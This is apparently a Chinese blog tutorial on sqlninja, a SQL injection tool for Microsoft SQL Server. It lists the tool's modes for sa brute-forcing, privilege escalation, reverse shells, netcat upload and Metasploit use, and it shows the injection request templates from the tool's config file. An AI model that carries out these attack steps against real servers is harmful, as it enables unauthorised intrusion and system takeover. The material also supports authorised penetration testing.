sqlninja 说明

首先来介绍一下sqlninja的优点。

• 一个专门针对Microsoft SQL Server的sql注入工具
• 可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等)
• “sa”口令的强力攻击
• 如果找到口令后，就将特权提升到“sa”
• 如果原始的xp_cmdshell被禁用后，就创建一个定制的xp_cmdshell。
• 使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序)，因此并不需要FTP连接。
• 为了找到目标网络的防火墙所允许的端口，可以实施针对目标SQL　服务器的TCP/UDP端口扫描。
• 逃避技术，这是为了使注入式代码“模糊”不清，并且混淆/绕过基于签名的IPS和应用层防火墙。
• 采用“盲目执行”攻击模式，在其它模式失效时，可以用于发布命令并执行诊断。
• 在sqlninja生成的SQL代码上，执行的是自动化的URL编码，这使得用户可以更精细地控制漏洞利用的字符串。
• 如果得到权限为sa，可以结合msf进一步对目标主机进行渗透。

sqlninja的一些常用命令.

./sqlninja
       -m <mode> : Required. Available modes are:  //加载modle
         t/test - test whether the injection is working   //测试注入点是否可用
         f/fingerprint - fingerprint user, xp_cmdshell and more
         b/bruteforce - bruteforce sa account //爆破sa口令用的。。可以-w指定字典，也可以不使用字典，这样sqlninja就会自己穷举
         e/escalation - add user to sysadmin server role
         x/resurrectxp - try to recreate xp_cmdshell  //尝试创建
         u/upload - upload a .scr file   //上传
         s/dirshell - start a direct shell  //获得一个目标主机的shell
         k/backscan - look for an open outbound port  //查找目标主机允许哪些端口外连
         r/revshell - start a reverse shell  //反弹shell
         d/dnstunnel - attempt a dns tunneled shell
         c/sqlcmd - issue a 'blind' OS command //执行系统命令，如果为sa的话直接可以net user
         m/metasploit - wrapper to Metasploit stagers  //配合msf使用
       -f <file> : configuration file (default: sqlninja.conf) //配置sqlninja.conf文件
       -p <password> : sa password
       -w <wordlist> : wordlist to use in bruteforce mode (dictionary methodonly) //字典文件的路径。。爆破sa密码用的
       -v : verbose output
       -d <mode> : activate debug //调试模式
         1 - print each injected command
         2 - print each raw HTTP request
         3 - print each raw HTTP response
         all - all of the above
在-f下面又有以下参数
   0 - Database version (2000/2005)   //检测当前数据库版本
   1 - Database user   //当前数据库用户
   2 - Database user rights  //当前数据库用户权限
   3 - Whether xp_cmdshell is working  //检查xp_cmdshell是否可以用
   4 - Whether mixed or Windows-only authentication is used  //是否windows本地系统权限
   a - All of the above  //以上所有选项
   h - Print this menu   //显示当前帮助菜单
   q - exit  //退出

刚开是搞的时候，在网上搜了半天的资料也没有找到怎么注入链接，参数里面没有像 sqlmap那样有
-u参数，最后才知道是在配置目录下的sqlninja.conf配置文件，打开配置文件后发现里面的选项特别

多，这里只是简单的进行注入，在配置文件中找到如下信息

# GET EXAMPLE:
--httprequest_start--
GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1
Host: www.xxxx.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept:*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: Keep-alive
--httprequest_end--
#
# POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!)
# --httprequest_start--
# POST https://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
# Connection: close
#
# vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah
# --httprequest_end--
#
# HEADER-BASED EXAMPLE:
# --httprequest_start--
# GET http://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: VulnCookie=xxx'%3B__SQL2INJECT__
# Connection: close
# --httprequest_end--
#

这里有三种方式GET,POST,HEADER-BASED三个配置例子，根据你的注入点进行抓包判断，修改里面对应的信息，如果
你会发现每个注入链接会有个;__SQL2INJECT__。所以在配置的时候不要忘记了加上。
如果要使用其他的功能比如结合msf的话，请自行加上相应的配置，以上步骤配置完成后，就可以进行测试了。

用./sqlninja -m test命令检测注入点是否可用。成功的话会显示[+] Injection was successful! Let’s rock !! 那么就可以使用上面提到的命令。

使用./sqlninja -m metasploit命令可以和msf相结合起来，让渗透更加方便，如果使用metasploit里面的shellcode，这个默认是没有启用的，需要修改sqlninja.conf中metasploit配置位置修改
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/   #去掉前面的注释符号，这里修改成你的framework3的安装位置。
如果有写的不对的地方，欢迎留言更正。
如果需要更详细的了解可以去http://sqlninja.sourceforge.net/sqlninja-howto.html 看看